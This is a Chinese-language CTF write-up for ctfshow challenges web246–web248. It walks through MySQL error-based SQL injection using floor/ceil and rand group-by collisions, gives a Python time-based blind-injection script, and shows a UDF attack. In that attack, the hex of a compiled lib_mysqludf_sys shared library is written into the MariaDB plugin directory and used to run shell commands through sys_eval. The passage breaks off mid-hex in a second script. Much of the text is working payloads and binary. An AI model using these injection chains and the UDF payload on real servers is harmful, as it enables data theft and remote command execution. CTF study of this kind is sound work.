	$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";


	返回逻辑
	// 无过滤
	过滤updatexml extractvalue

floor(x) → 向下取整函数。

floor(x) 配合 group by + rand() ，能制造 唯一约束冲突，从而触发报错

关键语句结构：

	select count(), floor(rand(0)2) as x
	from information_schema.tables
	group by x;

rand(0) ：在 group by 中多次调用时，返回结果可能不一样（这是 mysql 的一个 bug 特性）
floor(rand(0)*2) ：结果只有 0 或 1
group by x ：分组的时候会出现 重复键值，导致报错：

题解一

/api/?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand()*2))a from information_schema.tables group by a--+

/api/?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='ctfshow_flags' limit 1,1),0x7e,floor(rand()*2))a from information_schema.tables group by a--+

/api/?id=1' union select 1,count(*),concat((select flag2 from ctfshow_flags),0x7e,floor(rand()*2))a from information_schema.tables group by a--+

题解二

盲注

	import time
	import requests

	dicts = '0123456789abcdefghijklmnopqrstuvwxyz-_{},'
	flag = ''
	url = 'http://59254d5e-0251-4f4a-9348-97749b150a50.challenge.ctf.show/api/'

	def get_flag_char(index):
	for char in dicts:
	payload = {
	#"id": f"1' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1)='{char}',sleep(0.1),0)#"
	#"id": f"1' or if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flags'),{index},1)='{char}',sleep(0.1),0)#"
	"id": f"1' or if(substr((select flag2 from ctfshow_flags),{index},1)='{char}',sleep(0.1),0)#"

	}
	try:
	start_time = time.time()
	r = requests.get(url=url, params=payload).text
	end_time = time.time()
	sub = end_time - start_time
	if sub >= 0.5:
	return char
	except requests.RequestException as e:
	print(f"请求失败: {e}")
	return None
	for i in range(1, 64):
	char = get_flag_char(i)
	if char:
	flag += char
	print(f"当前进度: {flag}")
	else:
	print("已结束")
	break
	print(f"最终结果: {flag}")

# web247

	报错注入


	sql语句
	// 备份表
	$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";


	返回逻辑
	// 无过滤
	过滤updatexml extractvalue floor

floor()：向下取整
ceil()：向上取整
round()：四舍五入

在 MySQL 里，数据库名、表名、字段名默认可以直接写

为了区分保留字（某个表 / 字段恰好取了 select 、 order 、 desc 等名字）、支持特殊字符（ - 、空格、中文、大小写敏感），则需要使用反引号 ` 进行包裹

SQL 标准：在使用 GROUP BY 时， SELECT 列表中的非聚合列必须出现在 GROUP BY 子句中

count(*) 为聚合函数，聚合列允许不出现在 group by

/api?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,ceil(rand()*2))a from information_schema.tables group by a--+

/api?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='ctfshow_flagsa' limit 1,1),0x7e,ceil(rand()*2))a from information_schema.tables group by a--+

/api?id=1' union select 1,count(*),concat((select `flag?` from ctfshow_flagsa),0x7e,ceil(rand()*2))a from information_schema.tables group by a--+

# web248

	UDF注入


	sql语句
	$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";


	返回逻辑
	// 无过滤，

UDF 用户自定义函数

UDF

全称：User Defined Function（用户自定义函数）
用途：MySQL 自带的函数有限，如果我们想让 MySQL 扩展新的功能，可以通过 UDF 插件的方式，把自己写的函数加载进 MySQL。

调用方式：和系统函数完全一样，比如：

	select version(); -- 系统函数
	select mycustomfunc(123); -- 用户自定义函数

UDF 的实现

UDF 一般用 C 或 C++ 写，因为它们需要编译成 MySQL 能调用的二进制格式。
在 Windows 下，UDF 文件后缀是 .dll ，在 Linux 下是 .so 。
把编译好的动态库放到 MySQL 的插件目录里（一般是 /usr/lib/mysql/plugin/ 或者配置文件里指定的 plugin_dir ），然后用 SQL 注册函数。

题解一

查看 MySQL 版本，确保大于 5.1，因为从 5.1 开始 MySQL 引入了 plugin 机制，支持 UDF 动态库

/api?id=1';select version();%23

查询插件目录（ @@plugin_dir ）

/api?id=1';select @@plugin_dir;%23

Linux 下动态库 .so 的文件头是 0x7f 45 4c 46 ，ASCII 是 DEL ELF

由于单次注入写入太长的 payload 会失败，所以 WP 把动态库拆成多段（1.txt、2.txt、3.txt ）

第一次写入

/api/?id=1';select '7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803' into dumpfile '/usr/lib/mariadb/plugin/1.txt'%23

验证是否写入成功

/api?id=1';select load_file('/usr/lib/mariadb/plugin/1.txt')%23

第二次写入

/api/?id=1';select '000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e' into dumpfile '/usr/lib/mariadb/plugin/2.txt'%23

第三次写入

/api/?id=1';select '332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000' into dumpfile '/usr/lib/mariadb/plugin/3.txt'%23

将三个文件的二进制数据内容拼接一个文件，写入完整动态库 love.so

/api?id=1';select unhex(concat(load_file('/usr/lib/mariadb/plugin/1.txt'),load_file('/usr/lib/mariadb/plugin/2.txt'),load_file('/usr/lib/mariadb/plugin/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/love.so'%23

为 UDF 命名 sys_eval ，声明函数的返回类型是字符串

/api?id=1';create function sys_eval returns string soname 'love.so'%23

/api?id=1';select sys_eval('ls /')%23

注意 flag 文件名为 flag.here/n ，需要使用通配符拿到 flag 内容

/api?id=1';select sys_eval('cat /fla*')%23

题解二

使用脚本解题

	import requests

	base_url="http://f66ef7b3-e460-42fe-88e3-c575cb08fc86.challenge.ctf.show/api/"
	payload = []
	text = ["a", "b", "c", "d", "e"]
	udf = "7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180" \
	"000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000" \
	"000000000000000C414000000000000C41400000000000000002000000000000100000006000000C8140000000000" \
	"00C814200000000000C81420000000000048020000000000005802000000000000000020000000000002000000060" \
	"00000F814000000000000F814200000000000F8142000000000008001000000000000800100000000000008000000" \
	"000000000400000004000000900100000000000090010000000000009001000000000000240000000000000024000" \
	"00000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084" \
	"000000000000008400000000000000040000000000000051E57464060000000000000000000000000000000000000" \
	"00000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E" \
	"5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A80000000011000000110000000200000007000000800802488" \
	"11944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000" \
	"001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E787" \
	"22788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1C" \
	"C3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000" \
	"000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000" \
	"000000250000002000000000000000000000000000000000000000CD0000001200000000000000000000000000000" \
	"0000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000" \
	"000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000" \
	"000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000" \
	"000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000" \
	"000000000000000000000B200000012000000000000000000000000000000000000005A0100001200000000000000" \
	"0000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000" \
	"000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A9" \
	"0F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B0" \
	"09F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000" \
	"F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001" \
	"000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A00000000000000250100" \
	"0012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B0" \
	"0000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000" \
	"790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000" \
	"000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E0000000000006700000000" \
	"0000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B00000" \
	"0000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66" \
	"696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D79737" \
	"16C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E66" \
	"6F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E69740073797" \
	"35F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974" \
	"006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735" \
	"F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F" \
	"6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6" \
	"F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F" \
	"7374617274005F656E6400474C4942435F322E322E350000000000000000000002000200020002000200020002000" \
	"200020002000200020002000100010001000100010001000100010001000100010001000100010001000100010001" \
	"0001000100010001006F0100001000000000000000751A6909000002009101000000000000F014200000000000080" \
	"0000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000" \
	"060000000300000000000000000000008816200000000000060000000A0000000000000000000000A816200000000" \
	"00007000000040000000000000000000000B01620000000000007000000050000000000000000000000B816200000" \
	"00000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C816200" \
	"00000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816" \
	"200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E" \
	"816200000000000070000000C0000000000000000000000F016200000000000070000000D00000000000000000000" \
	"00F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000" \
	"000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E87507000048" \
	"83C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C2000680100000" \
	"0E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C2000680400" \
	"0000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C2000680" \
	"7000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000" \
	"680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC084" \
	"88B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833D" \
	"D00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB0" \
	"34883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B20" \
	"00015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA70" \
	"92000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0D" \
	"E7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897" \
	"DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8" \
	"BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488" \
	"975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB2048" \
	"8D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E" \
	"54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFF" \
	"FF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F" \
	"8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F" \
	"0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488" \
	"B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45" \
	"F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F84" \
	"8895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB80100" \
	"0000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C" \
	"7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45" \
	"E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04" \
	"889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45" \
	"E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C" \
	"60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0" \
	"488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B" \
	"800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E54889" \
	"7DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFF" \
	"F4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0" \
	"488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4" \
	"889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0" \
	"FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBF" \
	"FFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D" \
	"85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF4" \
	"88985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8" \
	"480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488" \
	"B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF48" \
	"8D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909" \
	"090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF" \
	"75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656" \
	"420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C75" \
	"64665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E65207374726" \
	"96E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F206172" \
	"67756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D65746" \
	"57200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF" \
	"9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAF" \
	"FFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FE" \
	"FCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C07089001000" \
	"01C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00" \
	"000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C0" \
	"70800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FF" \
